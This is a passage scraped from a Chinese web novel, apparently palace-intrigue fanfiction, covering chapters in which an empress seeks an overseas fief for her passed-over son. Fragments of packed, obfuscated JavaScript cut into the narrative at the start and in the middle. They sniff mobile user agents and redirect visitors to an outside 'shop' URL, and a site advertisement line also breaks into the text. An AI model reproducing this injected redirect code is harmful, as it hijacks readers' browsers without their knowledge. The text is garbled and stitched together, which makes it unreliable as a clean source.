p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508394|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家算是好的了对下头孩子并不算酷厉!只是但凡涉及皇权就没 有饶恕的余地!所以,你皇祖父一口气死了那么多儿子,这也是皇祖父的报应!” 说到这里,太上皇也觉得喉咙里有点堵,他长叹了一声:“你父皇其实也不是什么优柔寡断的人,只是你终究是他的嫡长子,他既然没有别的办法能保全你,就只能将这事拖着,拖到最后没有别的办法为止!” “可是啊,这事上的事情,从来都是长痛不如短痛!如今你下头那些弟弟年纪还小,最多就是嘴上占点便宜,但等他们大了,他们有母族,也会有拥趸,便是皇家几次大开杀戒,但总有想要火中取栗,投机取巧的人!从龙之功,也就是比救驾之功和开疆拓土之功差一些,只要赌对了,便是青云直上,对于一些破落户或者是新贵来说,那真是没法拒绝的诱惑!” “到时候,便是你们兄弟几个没这个想法,下头的人也会推着你们往前走!你是个心肠柔软的孩子,说真的,真不像是咱们老徒家的人,纯良太过了!所以,你到时候是玩不过那些人的,与其等到那个时候被逼到悬崖边,还不如如今就当机立断,早点脱身!” 太上皇也是狡猾,他满口都是为了徒嘉珩好,却没想过,他原本只是想要给自己心爱的儿子一个纯良的嗣子。 但是,徒嘉珩是信了,他一时忘情,搂着太上皇,哭道:“皇祖父!” “好了,不哭了,不哭了啊!”太上皇也不嫌弃,他这个年纪,其实也很需要天伦之乐,他有的时候睡醒了,似乎都能闻到自己身上腐朽的味道,徒嘉珩却是个年华正好的少年,身上都是青春活力,又肯跟他亲近,跟这个孙子在一起,自己都觉得年轻了。 徒嘉珩哭得不能自已,原本还在雍王府的时候,父皇纵然有的时候觉得他有些愚钝,却也愿意多提点,但是如今,父皇成了皇帝,却没了以前的耐心。 他之前还能安慰自己,说父皇是恨铁不成钢,如今想来,只怕,自家这位父皇只是碍着母后的面子,心里头不知道多嫌弃自己拦了他另立贤能的路呢! “好孩子,皇家不比外头,你父皇的思虑也有道理,你性子纯朴,天真烂漫,若只是个亲王世子,将来继承爵位还好,宗室王爷本来也没什么差事,你这样的性子,还更能守住家业,也能照顾好下头的弟弟妹妹!”太上皇怕这孩子钻了牛角尖,回头过继出去了 反倒是仗着圣上残留的那点子愧疚想要闹出什么事来到时候义忠亲王的后嗣就又断了。 因此太上皇不免苦口婆心劝道:“只是换了皇位就不一样了!你年纪小大概就以为做皇帝天然就能口含天宪一言九鼎实际上根本不是这样子!下面的臣子看着忠心耿耿 太上皇又举了几个历史上一些皇帝的例子只听得徒嘉珩不寒而栗虽说心里依旧不自在但居然真的有点理解圣上了他蔫哒哒地说道:“归根结底还是我让父皇失望了!” 太上皇看着他这般都有一种骗傻孩子的愧疚感他便又对徒嘉珩许诺道:“你是你父皇的嫡长子你让出这个太子的位置又过继出去将来无论是谁当了太子当了皇帝都不能对你如何还得对你愈发礼遇。你母后能再生一个最好不能再生皇祖父就跟你父皇说不管谁做太子都要记在你母后名下如此你母后还有你妹妹将来日子就能依旧尊荣!你父皇不是那等没有良心的不至于叫你们母子没了着落!” 徒嘉珩低头听着心里却在想母后要是知道了父皇的想法该有多伤心啊! 皇后不仅是伤心简直是愤怒起来。 “皇爷你就这样放弃了珩儿吗?他是我十月怀胎生下来的从小就乖巧懂事长这么大其他人家的孩子或多或少都有顽皮捣蛋之事珩儿呢?一直是个乖孩子结果在皇爷你心里就是愚钝!”皇后简直要咆哮起来“皇爷只说珩儿当不起大任可是皇爷教过珩儿吗?当初在王府珩儿启蒙的时候皇爷只想着守拙想着自污臣妾那时候忍了自己带着珩儿其他几个孩子还能被皇爷抱几次夸几句可是珩儿呢?珩儿只能眼巴巴等着!” “皇爷你总要给珩儿一个机会要是他真的不行那臣妾也就认了便是跟着他一块去死那臣妾也愿意!”皇后眼泪也流了下来哭道“可如今呢就因为皇爷你看不上他就打着为他好的旗号一点机会都不给他!什么人天生会做太子会做皇帝呢?皇爷你不也是先跟着先义忠亲王后来又在六部行走还有太上皇请教才有了今日的吗?怎么轮到你儿子竟是希望他天生就会呢?皇爷你也太不公平了!” 圣上听得几乎是恼羞成怒起来只是看着皇后近乎崩溃的模样又有些不忍心只得强自安慰道:“皇后你还有一个孩子呢你想着输了跟珩儿一起去死那将小的那个又置于何地!” 皇后却是不肯听直接说道:“她哥哥做不了太子还过继出去她一个没有同母兄弟扶持的公主将来又有什么好日子过!与其如此不如一起走了算了!” “皇后你累了不如先休息一下吧!”圣上自从当了皇帝之后对于后宫耐心也越来越少了!以前跟皇后是患难夫妻但到了如今却没了这样的想法他叹了口气强行缓和了语气劝道“不管怎么说皇后你好好想想如今这个办法是最好的保全珩儿的办法了!他是我的长子我不是不疼爱他但是我不能拿社稷去赌!” 看着圣上拂袖而去的背影皇后瘫软在地继而又大哭起来。 作者有话要说 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 184 章 自立为皇,与中原... 第184章自立为皇,与中原 此事圣上严令封口,因此,外头并没有传出什么风声来。 但是皇后随后就告了病,在凤仪宫中修养。便是徒嘉珩过去探望,也没两句话都被撵了出来。 皇后对徒嘉珩这个儿子的感情如今也很复杂,一方面很是疼爱,毕竟,徒嘉珩除了不够聪明之外,无论什么地方都不错,又是她唯一的儿子,她怎么可能不爱这个儿子。另一方面就是恨他不争气,做世子也就罢了,做了皇子,依旧没转过弯来,还是以前的模样。 她如今真的不太想要见这个儿子,结果却让徒嘉珩误会了,徒嘉珩愈发颓丧起来。 徒嘉珩如今少去弘文馆,但不是不能去。他一向是个讲规矩的,按理来说,弘文馆那边下了学,宗亲子弟就住在弘文馆后头的几个小院落里,而作为皇子,便要回自己的住处,宫里门禁严格,少有互相串门的。 徒嘉珩这日心中迷茫,琢磨着弘文馆下学了,就忍不住去找徒嘉钰。 因着弘文馆下午的时候一个先生告假,一帮孩子便跑到演武场上去玩蹴鞠,回来的时候都是满头大汗,饥肠辘辘。 徒嘉钰给了小太监一点银子,叫他提了水过来给自己洗澡,等到徒嘉珩来的时候,徒嘉钰就在屋里靠着熏笼,用熏笼烘头发。 一听外头传话说徒嘉珩来了,徒嘉钰不由吓了一跳,不过面上倒也没有露出什么来,连忙起身到门口相迎:“珩大哥,你怎么来了?” 徒嘉珩一看他头发还湿着,因着刚刚放在熏笼上的缘故,还冒着热气,连忙说道:“你先去把头发烘干,免得回头吹了风头疼!” 徒嘉钰嘿嘿一笑:“那我就不跟珩大哥客气了!” 话是这么说,他还是不像刚才一样半躺在那里,而是叫人将熏笼抬高了,自个坐了起来,又叫人给徒嘉珩奉茶:“这会儿天晚了,不好喝什么酽茶,喝一点花茶吧!” 徒嘉珩对此无可无不可,瞧着徒嘉钰吩咐小太监从匣子里面取了一些点心出来,放进葵式攒盘里,笑道:“这些点心是我从家里带出来的,下头人新琢磨出来的花样,如今天冷,也放得住,我妈就叫我多带了一些,珩大哥尝尝看,好吃的话,带几盒回去!” 徒 嘉珩看着攒盘里精美的点心随手拿了一个做成刺猬造型的陈皮豆沙馅的硬面点心咬了一口点心很甜 见徒嘉珩语气不对徒嘉钰仔细看了徒嘉珩一眼忙问道:“珩大哥可是有什么心事不如跟我说一说!我虽说年纪小许多事情也不明白但说不定也能替珩大哥你派遣派遣!” 徒嘉珩张了张嘴却是不知道说什么好最后只得苦笑道:“没什么就是母后病了我去探望才说了两句话她就打发我出来了我就是为母后担心!” 徒嘉钰安慰道:“那也是皇伯母疼爱珩大哥不愿意叫珩大哥过了病气!我妈以前生病也是一样只叫我隔着门问候一下便催我自己回去!” 徒嘉珩并没有感觉到什么安慰他纵然在许多事情上不够敏感但是却很能感知别人的情绪他能感觉到母后就是失望不想见他!难道就因为父皇不喜欢他想要将他过继出去连着母后也不喜欢他了吗? 想到这里徒嘉珩眼圈都红了。 徒嘉钰见了有点慌。平王府里头顾晓从来都是习惯于多一事不如少一事另外如今都这样的身份地位了生活优越不用鸡娃没什么烦心事自然在各方面都很松弛因而徒嘉钰也跟着养成了比较乐观开朗的性格。如今瞧见徒嘉珩心事重重徒嘉钰只觉手足无措。 徒嘉珩再傻也知道在圣意没有明确之前许多话不能说出口因此他只是带着点恳求说道:“嘉钰弟弟我今儿晚上歇在你这边好不好我有点不想回去!” 他现在几乎有些害怕这座皇宫只觉得这就像是黑暗中的一张巨口随时都要将自己吞没。 徒嘉钰却是松了口气忙说道:“好啊珩大哥可以跟我一起睡我跟你身量差不多珩大哥可以换我的衣服。” 一边说着一边叫了小太监过来又给了他一个荷包说道:“一会儿去膳房多点两个菜回来我前两天过来不还带了一些糟的鹅掌鸭信嘛也切一盘子送过来。” 小太监听了又问道:“要不要再拿一坛子酒过来?” 徒嘉钰犹豫了一下说道:“皇后娘娘 如今病着,哪里能喝酒,弄点饮子就好!要热的! 小太监听了,忙答应下来,就赶紧去膳房点菜。 徒嘉钰见徒嘉珩一副有苦难言的模样,也不好逼他说出来,只能陪着他闲话。 徒嘉珩有一句没一句地搭着话,明显神思不属,有的时候应答的话,都是牛头不对马嘴,叫徒嘉钰愈发担心起来。 等着晚饭送过来,徒嘉珩也明显胃口不佳,只捡着自己面前的菜,有一口没一口地吃着,发现徒嘉钰停了筷子,便也搁了筷子。 徒嘉钰心里头简直是有些抓心挠肺,这到底是怎么了?难不成皇后娘娘不好了?怎么如今这个样子! 见徒嘉珩明显心神不宁,徒嘉钰琢磨了一下,干脆叫人打了水过来,两人各自洗了脚,就直接钻进了被窝里。 徒嘉钰留了一盏灯,小声说道:“珩大哥,这天冷,咱们就在炕上说说话吧! 徒嘉珩这会儿也有些愧疚,说道:“嘉钰弟弟,我是不是让你麻烦了! 徒嘉钰随口说道:“咱们一起长大,在一块的时间比我跟下面弟弟妹妹都多,跟亲兄弟有什么区别,说什么麻烦不麻烦的!珩大哥,不管什么时候,只要你需要,弟弟总会帮你的! 徒嘉珩犹豫了一下:“那要是我不是皇子,那也一样吗? 徒嘉钰笑了起来:“我们认识的时候,你也不是皇子吗?珩大哥,我跟你说,这天下大得很,大不了将来咱们一起出海!我看了许多洋人的笔记,说是那些洋人,几百个人就敢占领一个国家!咱们总比那些洋人强吧! 徒嘉珩听得一愣:“真的? 徒嘉钰说道:“是啊,我妈喜欢看这些,我便跟着看了不少,即便那些洋人笔记上有夸张的地方,但也不会太失真。要是咱们在中原待不下去,咱们就出海!我家有好多海船,我还仿照洋人的帆船自己设计了一种帆船,如今正在造呢!到时候,你要是做不了太子,被新的太子忌惮,咱们就干脆带上人跑路。 徒嘉珩听得豁然开朗,自己真的离开了中原,那也就没那么多事了吧! “可是母后和妍妹妹怎么办? 徒嘉钰说道:“那就一起走呗,我要是出去,我肯定也带我妈一块出去! 顾晓没想到,徒嘉钰竟然早有出海的想法,若是知道了,只怕肯定会很欣慰。 徒嘉珩虽说还有些郁郁,但是总归徒嘉钰竟是肯抛家舍业地跟着他,不免觉得总还有人是真心对他的,原本沉甸甸的心也放松了下来,之后竟是不知不觉就睡着了。 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 第二天,徒嘉珩醒来,想起了这事,就又去了凤仪宫。 皇后其实没病,就是之前情绪崩溃了一次,想着圣上半点不为他们母子三人考虑,就想要消极怠工。还打理內宫,她恨不得直接彻底罢工。 听得儿子又来了,皇后心也软了。孩子生得不够聪明,这能怪谁呢?她当初也没想过,自家丈夫又不是长,又不是嫡,也不是什么爱子,在外头也没听说什么贤名,偏生这皇位就落到了丈夫头上!如此一来,自家儿子的短板就比较致命了。是她没把孩子生好,如今怎么能怪到孩子头上。 “罢了,让他进来吧!”皇后说道。 “昨儿个大皇子殿下晚间去了弘文馆找了平王,这会儿过来,只怕还没用早膳呢!”孙嬷嬷看着徒嘉珩长大的,自然心疼,不免说道。 “那便去膳房提了膳,多准备一些,他这个年龄,正是饭量大的时候!”皇后心软了,想到这一切其实也怪不得自家儿子,因此又说道,“他喜欢黏食,看看有没有糯米点心,拿几样过来,不过这个不克化,选小巧的,吃几个意思一下就行了!” 皇后絮叨一番,心情居然好了不少,而这时候,徒嘉珩也进来了:“儿子给母后请安!” “好孩子,快起来!”皇后忙说道,“我昨儿个心里不痛快,怕对你发火,才叫你先回去!这事,也怪不得你!” 徒嘉珩听得皇后这般,鼻子一酸,忍不住说道:“还是儿子不好,不能叫父皇满意!” 皇后摆了摆手:“你皇祖父难道当年对义忠亲王不满意吗?许多事情,不是那样说的!你父皇做了皇帝,真要说起来,那得是皇父,皇在前头,父才在后头!所以,之前在王府,他不会为了这个苛责你,但做了皇帝,又是另一番心肠!” 说着,她也有些低落下来,当年夫妻两人都战战兢兢,生怕朝不保夕,那会儿尚能携手同行,报团取暖,但如今时过境迁,当年那些情分,现在看起来,简直如同前世一般,竟是有些想不起来了 。 徒嘉珩见皇后这般,想到之前徒嘉钰的话,说道:“要是父皇真把儿子过继出去,那儿子能出海吗?” 皇后吃了一惊,忙说道:“出海?你听说说的这个,海外都是蛮荒之地,又是什么好地方不成?” 徒嘉珩忙说道:“海外也不是什么蛮荒之地,要不然婶子那边怎么每年都能收到那许多好东西!儿子虽然笨,却也知道,自己这个出身,真要是留在京里,只怕回头就有人借着儿子的名头作耗,儿子是个没用的,也没个主张,与其如此,不如出去!到时候找个地方,自己当家做主,岂不是好?” 皇后想着徒嘉珩昨儿个去见了徒嘉钰,便有些心烦意乱,说道:“先用早膳吧,母后得好好想想才行!” 徒嘉珩听了,老老实实答应下来,又决定回头再去大明宫那边敲敲边鼓!被自己的亲生父亲否认之后,徒嘉珩其实也憋了一肚子气,他是不够聪明,但是难道不聪明的人就办不成事吗? 等着徒嘉珩用过早膳出了凤仪宫,皇后抿了抿嘴唇,便说道:“去,请平王太妃进宫,就说我有事请教!” 孙嬷嬷如今也信不过凤仪宫这些宫女,生怕她们之前听了圣上的话,想要背主另投,因此,这会儿也不敢离开凤仪宫,反倒是叫了一个不怎么近前的小宫女出去传话。 顾晓见到传话的是个不认识的小宫女,不免有些诧异。 之前皇后告病,顾晓就觉得奇怪。 皇后身体素来很好,而且又是个极为要强的性子,毕竟,哪怕是为了徒嘉珩,她也不敢流露出半点虚弱来。如今对外还没宣布病好,就叫了个自己不认识的小宫女传自己进宫,难免叫她有些狐疑。 只是这小宫女身上的腰牌的确是凤仪宫的,顾晓琢磨了一下,便是有什么阴谋诡计,也犯不着找自己这么个闲散的太妃,因此,便更了衣,乘坐马车往宫中而去。 到了凤仪宫,气氛似乎愈发古怪起来,顾晓心里皱了皱眉,好在孙嬷嬷出来了,引着顾晓进了里间。 皇后并不像是养病的模样,只是穿着一身半新不旧的家常衣裳,头上也只用了一根凤尾流苏步摇挽了起来,耳朵上没有戴耳坠,只是用两个玉塞子塞着,看起来半点不像是皇后,倒像是寻常人家的太太。 皇后瞧见顾晓过 来,笑着打了声招呼:“弟妹来了,快坐吧!” 顾晓瞧着皇后内心愈发古怪起来,但还是依言先行了一礼,这才坐了下来。 两个宫女奉了茶,又捧了点心过来,然后便在孙嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566036|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神下,退了下去。 内室门都开着,窗户用的都是玻璃,能看得见门窗外十步以内都没有人,里间就剩下皇后孙嬷嬷主仆二人加上一个顾晓。 顾晓心里都有些慌,这种密谈的架势,自己能拒绝吗? 哪知道皇后开口就问道:“弟妹这些年海外生意一直不错,不知对海外有何了解?” 顾晓一边松了口气,一边又有些纳闷,怎么就问到这个了,不过还是说道:“知道一些,不过主要是南洋那边,西洋只是遇上过一些西洋人,又看过那边的一些笔记书籍,道听途说罢了!” 皇后一听,便是说道:“还请弟妹细细将来!” 顾晓一横心,干脆说道:“请嬷嬷拿了纸笔过来,臣妾先粗略绘制一幅地图出来!” 孙嬷嬷看了皇后一眼,皇后点了点头,孙嬷嬷便引着顾晓去了书桌前,铺开一大张纸,又亲自给顾晓磨了墨。 顾晓犹豫一下,说道:“这个用毛笔有些不便,不如请娘娘赐下一块螺子黛?” 皇后笑道:“弟妹愈发会吊人胃口了!” 孙嬷嬷很快取了螺子黛过来,皇后也干脆站过来看。 顾晓想着自己上辈子在博物馆看到的什么万国舆图,还有自己这辈子见过的一些地图和笔记,定了定神,便开始画了起来。 也就是她上辈子自学过画画,对于比例什么的,还比较了解。因为中原这边什么红薯土豆玉米都已经被发现了,自然美洲肯定是被发现了。但是澳洲还说不定,因此,顾晓在地图上便没有画出这里。 她一边画还一边说道:“这里就是我们所知道的南洋,像是什么吕宋,爪哇都在这里!这里中原移民过去的人不少,也有地方就是中原移民百姓为主,但自从西洋人发现了这里之后,他们便也在这里设了总督,在这里建城!这里不说矿产丰富,气候湿热,往往能一年三熟,这边土著甚至不需要种地,只要采集种子果子就能填饱肚子,因此往往懒惰。而移民过去的中原百姓勤劳肯干,往往用不了几年,就小有资产,几代之后便是 一方地主或者是豪商。” “西洋人来了之后,便往往挑动当地土著劫掠中原移民的财富,那边许多地方也不是中原的朝贡国,也没人能来神京告状,加上中原强盛,那些西洋人也不敢过分举起屠刀,因此,那边移民往往只能自己武装起来,与土著和西洋人对抗,渐渐也已经成了气候!” 南洋那边朝贡国不少,但都是小国,有的一个小岛就敢立国,甚至还出现过有船主捡到前朝册封藩国的印信,冒充使节跑到中原朝贡,借此捞上一笔的。因此,朝廷这边对那里一向不上心。 顾晓说到这里,摇头说道:“其实有的事情,南边的海商更清楚一些,只是那边是他们的财路,若是太平了,大家都往那里跑,他们财路也就断了,因而即便知道什么,也是不会多说的!” “这也罢了,关键是这个地方!”顾晓指了指自己画出来的美州,说道,“我看了一些西洋笔记,说是那边的原住民跟咱们中原百姓有些相像,也是黑发黄肤,听人说他们那边的有些祭祀习俗,竟是与咱们这边古书上头的殷商旧俗有些相似,说不准也是我华夏苗裔!但他们那边有的地方还算是建立起了比较大的国家,有的地方大概是物产太过丰富的缘故,据说那边野牛就有上万万头,杀掉一头,一个部落就能吃好几天,自然也就懒得农耕放牧,反倒是以部族的形式散居各处,以渔猎为业!” “等到西洋人过去之后,发现那里有大量的黄金白银,便开始屠杀这些人,占据他们的地方,往往几百几千个人就敢建城,颁布法律,自行其是,俨然与一国之主无异。咱们如今中原不缺白银,也是因为这些人在那里掠夺了大量白银,然后拿到中原来采买丝绸瓷器茶叶之类,让大量白银流入了中原,一度出现钱贵银贱的情况。” 顾晓没有说得很详细,但是皇后已经听得若有所思。她不是很相信徒嘉钰想要出海的事情是顾晓鼓动的,毕竟,在她看来,顾晓是个随遇而安,而且还挺喜欢享受的一个人。当然,她不是穷奢极欲,而是在条件允许的情况下,让自己生活得更加舒服一些。 这种人,自然更乐意生活在安宁太平的地方,哪里会想要跑到一个陌生的地方去重新开始。 所以,在皇后心中,顾晓应该就是随口跟儿子说了一些海外的事情,少年人嘛,一个 个难免都有些开疆拓土的雄心壮志因此才起了出海的心思然后又告诉了自家儿子。 皇后便问了一下顾晓这南洋还有那什么美洲的大小然后心里也有了心思。 既然那些西洋人几百上千个人就敢建城立国那自家儿子作为皇帝的嫡长子带个二十万大军出海总不麻烦吧后续移民个一两百万过去也能打下一个巨大的疆土来。 南洋也就算了就在中原王朝的辐射范围之类固然移民更容易但是到时候自家儿子乃至后面的子孙不都得对着中原皇帝俯首称臣?人家随便折腾你一把你就得国破家亡! 所以离远点更好自立为皇与中原做兄弟之国不好吗? 这般一想皇后看着顾晓的眼神便殷切起来问道:“弟妹既然那美洲多的是黄金白银不如咱们也派商船过去看看情况?而且那边的土著既然说不定跟咱们中原百姓有同一个祖先如今不正好可以叫他们认祖归宗吗?皇爷知道了定然也会高兴的!” 顾晓听得一愣 皇后见顾晓知趣愈发满意起来自家儿子略庸碌了些但是徒嘉钰却是个精明强干的两人关系又好到时候叫徒嘉钰给自家儿子做个臂助既然美洲那边地方大得很不如到时候划一块地方分给徒嘉钰也叫他做个有实封的藩王岂不是两全其美? 也就是这事还没跟圣上说要不然皇后这会儿就要对着顾晓封官许愿了。 作者有话要说 第 185 章 甄家那边便是为了... 第185章甄家那边便是为了 在中原,想要做点什么事情,从上而下最好。 顾晓已经明白,皇后这次称病,只怕是圣上对皇后明确否决了徒嘉珩的继承权,皇后不受打击才怪。 作为嫡长子,若是不能继承皇位,那就是继任者的眼中钉肉中刺。若是有实权实封的王爷还好,上头真要是发难,起码还有一点还手之力,不至于坐以待毙,但是本朝要是皇帝对那个王爷不满意,那多的是叫你难受的办法,谁让你手里无权,麾下无兵,就个空头爵位,今儿削你一年俸禄,明儿夺你一个皇庄,别的都不用做,就能叫你一家子撑不下去。 皇后就一儿一女,女儿嫁出去了,新君也不能对个公主如何,但是徒嘉珩做了多年皇后的独子,皇后无论如何要为他考虑妥当。 这般一想,顾晓便振作起来。她觉得,自己以前想得太保守了,只想着叫儿子在南洋占个地方,如今嘛,皇后都将目光对上美洲了!美洲那么大地方,徒嘉珩胃口再大又能占据多少,便是圣上想要将其他儿子也分封过去,也是绰绰有余,何况,皇后能同意圣上其他儿子过去抢自己儿子的地盘?再说了,朝廷的实力其实也不足以支持太多藩王出去开辟。 不管怎么说,顾晓觉得,许多事情可以正式提上议程了,不用再偷偷摸摸,可以先做起来。 而皇后那边,辗转反侧了好几天,又叫人从文渊阁借了一批有关西洋的书回来,这些都是当年传教士翻译过的,有些里头也说起了美洲的事情,还有之前传教士们画出来的海图,皇后确认了顾晓说的话,心里的火焰开始熊熊燃烧起来。 皇后没有先找圣上,在她看来,当一个父亲已经开始偏心的时候,就很难作为真正的依靠,反倒是太上皇那边,对自家儿子还有一点慈心。 太上皇看着退了,手底下却也有不少人,他已经这个年纪,也得想想身后事,只要有能力,他自然也不能叫那些跟随自己的老臣没了下场。 因此,皇后宣布病好之后没两天,就去大明宫给太上皇请安。 毕竟是公公和儿媳妇的关系,除非是那种公开的大场合,否则的话,皇后并不会单独求见太上皇,这次过来,也叫太上皇有些惊讶,难免怀疑她是不是想要 病急乱投医,求自己庇护徒嘉珩。 不过,徒嘉珩的前程说白了是太上皇的私心在里头,他年纪大了,心肠竟是有的时候变得有些柔软起来,之前听说皇后病了,就知道这事对皇后的打击挺大,因此,这会儿便叫皇后进来。 皇后也没一身盛装,穿的同样是比较家常的衣服,看起来竟是有些久病初愈地憔悴,叫太上皇愈发有些不自在起来。 “皇后既然刚刚病愈,怎地不再好生休养一阵子!太上皇等着皇后问了安,便问道。 皇后垂下眼睛,说道:“儿媳无非就是一时脾胃失调,不是什么大病,倒是叫父皇费心了! 太上皇权当皇后说的是真的,便说道:“脾胃失调啊,朕这边还有些红参,你一会儿带些回去,这是温补之物,饮食之中可以略加一些。 皇后又道了谢,也不想再跟太上皇拐弯抹角,只是说道:“儿媳今日过来,是为了珩儿的事情! 太上皇听了,正想要解释自己并非是刻意打压徒嘉珩,弄得皇家父子不和,而是完全为徒嘉珩考虑,就听皇后说道:“珩儿的才具我也是知道的,他资质寻常,以往儿媳也没多想,觉得他这样的性子,做个清闲王爷绰绰有余,谁知如今是这般情况,珩儿愈发就露出许多不足来,只是如今再纠正,却也晚了!珩儿这些日子在父皇身边伺候,父皇也能看明白,他踏实做事没问题,却不是那块料。儿媳一开始没想明白,如今想明白了,知道父皇也是为了他好,因而今日过来,儿媳也是想要给父皇道一声谢! 太上皇一开始还以为皇后是在说反话,结果瞧着皇后居然真心实意,不免有些发愣,结果还没等他说什么,皇后便抹着眼泪说道:“父皇一片慈心,只是人心难测,儿媳只此一子,因而想要求父皇给个保全之策! 太上皇犹豫一下,便说道:“无论如何,还是嫡子继承皇位最为合适,你如今且还年轻,我瞧嘉妍那丫头倒是聪明伶俐,不如再生一个,也能护得住上头的兄长与姐姐! 皇后却是垂首说道:“子嗣之事乃是天意,儿媳也是而立之年的人,算起来都要做祖母了…… 太上皇只得又说道:“那寻几个低位的妃嫔生了,你抱养在膝下便是! 皇后头低得愈发厉害了,只是叹道:“儿媳 没能将珩儿生得聪明伶俐,已经是对不起他,如何能叫他再受委屈!” 太上皇这会儿都有点想要发火了,这个不行,那个不行,你到底想要干什么? 结果就听皇后说道:“儿媳听说,父皇有意将珩儿过继给义忠亲王一脉?” 太上皇一肚子火气被一盆冷水浇了个干净,你不光不想让人家儿子做太子,还直接将人过继出去,以后礼法上都不是皇后的儿子了!因此,太上皇不免有些期期艾艾起来,只得说道:“毕竟义忠虽说有个可卿,却只是女子,传承不得香火!何况,朕想着,朕这个年纪,倒是可以倚老卖老一回,到时候也叫珩儿这个王爵三代不替,有朕的面子还有老四的面子在,他又过继出去了,甭管新君是谁,也不能连珩儿也容不下!” 皇后抿了抿嘴唇,牙齿不小心咬破了一点皮,一股子如铁锈的血腥味弥漫开来,她依旧低着头,只是说道:“儿媳明白父皇的意思,也多谢父皇的恩典。只是,儿媳想着,父皇也不希望义忠亲王一脉就如同其他普通宗室一样,几代之后,便沦为无爵宗室,渐渐与平民无异吧!” 太上皇竖起了眉头:“你的意思是?” 皇后深吸了一口气,感受着嘴里残存的铁锈味,心跳得飞快,不过还是抬起头来,壮着胆子说道:“父皇,儿臣请如商周旧事!” 太上皇一愣,看着皇后:“你说什么?” 皇后既然已经说出了口,开弓没有回头箭,直接便说道:“儿媳在家也读过几本书,知道商周之时,天子册封诸侯,许多直接就是册封到疆域之外,如今我们所知的天下比起商周之时大了那么多,那为什么不能将珩儿分封出去呢?” 太上皇不免有些心神不宁起来,他同样深吸了一口气,说道:“这般吗?朕得仔细想一想,皇后你先回去吧!不论怎么说,珩儿也是朕的孙子,朕已经经历过一次骨肉相残,不想再经历一次了!” 皇后见太上皇神情,知道不可能这会儿就得到回复,当下便起身告辞。 很多时候,很多事情,只要开了个口子,那么剩下的事情,也就顺理成章起来。 太上皇不光是想到了徒嘉珩,还想到了徒宏憬和甄家,如果有办法,太上皇还是愿意保留一点良心的。 甄家被太上皇骗得实在是有点 惨 太上皇自觉自己还算是个念旧情的人若是能给甄家一条生路他还是愿意给的。那么叫徒宏憬也出海就藩让甄家跟过去此事到底可不可行呢? 太上皇被这个想法闹得几天没睡好觉但是却一直比较兴奋看起来精神半点委顿也没有竟像是回到了年轻时候一般。 他年少的时候神京还是有个把传教士的也因为好奇看过不少西洋的书籍当然许多是自然科学的书籍甚至刚登基的时候还通过各国的使团跟西洋那边几个国主通过信虽说是叫鸿胪寺那边用什么拉丁文翻译的他自己可懒得学这个!西洋那边也不知道多大点地方光是语言就有几十种这叫大一统了几千年的中原皇帝难免看不上。 如今想起那些事情便又叫人去取了舆图过来还叫起居郎将之前几代皇帝召见传教士和西洋使臣的记录找出来好跟自己仔细说一说。 中原几千年来都只是个陆权国家对于海权并不重视主要是海外对他们来说太遥远出海本身又是个极有风险的事情加上在生产力不够发达的情况下想要对一个遥远的地方进行实质意义上的控制那压根就是不可能的事情。为什么大唐的疆域一直延伸到西亚后来势力不得不回缩?主要还是距离太过遥远维持对那边的控制需要的成本实在是太高偏偏又很难见到短期利益。像是前朝的时候朝廷官员别说是经营西域了连河套都直接给丢掉了。 而如今如果是如春秋之前一般直接将宗室子弟分封到海外去那就不一样了。每一代总有在夺嫡中失败的皇子这些人能掺和到这种事情里头要么是本身有才要么也是皇帝爱重要么就是外家比较有实力若是失败了朝堂上下就是新一轮的洗牌。 而若是开发海外这种政治上的失败者直接就可以跟着流放出去省掉许多麻烦。 太上皇越想越觉得亢奋没几日就叫了圣上来大明宫说了此事。 太上皇觉得什么都好但如今当家做主 的是圣上,他倒是愿意叫徒嘉珩出去,但是,其他人他就不乐意了!光是国内移民,就不知道要花费几多代价,何况又要出兵,又要移民,这些钱到底是谁出?另外就是,若是日后中原衰微,出去建国这些人又跑回来想要争夺正统,那又该如何? 圣上回到兴庆宫,知道此事是皇后先去了一趟大明宫,才有了此事,不免有些头疼。 做皇帝并非能够为所欲为,皇权说是至高无上,但终究还有制衡。圣上如今的权威也远远做不到一言九鼎,尤其上头还有个太上皇,这天有二日,到底听谁的,还有待商榷。因此,他若是没有正当的理由,就想要将徒嘉珩这个嫡长子踢出夺嫡的行列,那么下面的臣子正好可以跳出来,表示这是乱命,甚至还会拿着这个证明皇帝的不合法。 如今皇后不通过他,反倒是先去找了太上皇,不免叫圣上有一种超出掌控的感觉。 只是他也能理解,他先摧毁了皇后的希望,难怪皇后不能如之前一样信任自己。只怕此事之后,在后宫的事情上,皇后难免要对太上皇那边的事情睁只眼闭只眼了。 想到原本应该是亲密战友的夫妇二人如今渐渐变成同床异梦,圣上未免有些失落。只是身为帝王,许多事情真不能感情用事。汉宣帝感情用事了一把,明明知道乱我家者,必太子也,最终碍于结发妻子许平君的情分,还是叫这个儿子做了太子,以至于西汉进入了衰微的阶段。圣上觉得,自己面临的情况也是差不多,他不是不疼爱儿子,但是总归是江山社稷更为要紧。 圣上这会儿存心想要拖延,而皇后一直关注着此事,知道之后,只是冷笑,觉得男人果然靠不住。当初做王爷的时候还好,本身也没什么好争的,他又希望自己能够稳定内宅,所以那会儿才能夫妻和顺。 结果如今不一样了,人家已经是一国之君,自己这个皇后只怕不再是患难与共的妻子,而是占着位置不放的糟糠。他说不定还想着气死自己,早点腾出位置来,另立一个能在朝堂上帮得上自己的新皇后呢! 